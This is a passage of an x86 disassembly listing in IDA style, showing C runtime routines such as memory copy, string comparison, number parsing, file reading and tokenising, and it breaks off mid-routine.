loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]


loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------


loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------


loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48B69C
		call	sub_41D5A8
		mov	edx, dword_48B69C
		pop	ecx
		mov	ecx, dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_48B698
		sub	ecx, dword_48B69C
		mov	dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48B698, ecx


loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_48B69C
		pop	ecx


loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48B69C
		mov	dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2810000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_48A000
		jnz	short loc_418716
		mov	eax, dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2800000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh


loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489FF8, eax
		pop	esi


loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi


loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh


loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------


loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894


loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx


loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8


loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------


loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------


loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------


loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E


loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------


loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------


loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8


loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F


loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi


loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax


loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------


loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]


loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax


loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]


loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_48A010


loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx


loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------


loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------


loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1


loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62


loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55


loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84


loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72


loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7


loc_418C8B:				; CODE XREF: sub_418C10+7Fj
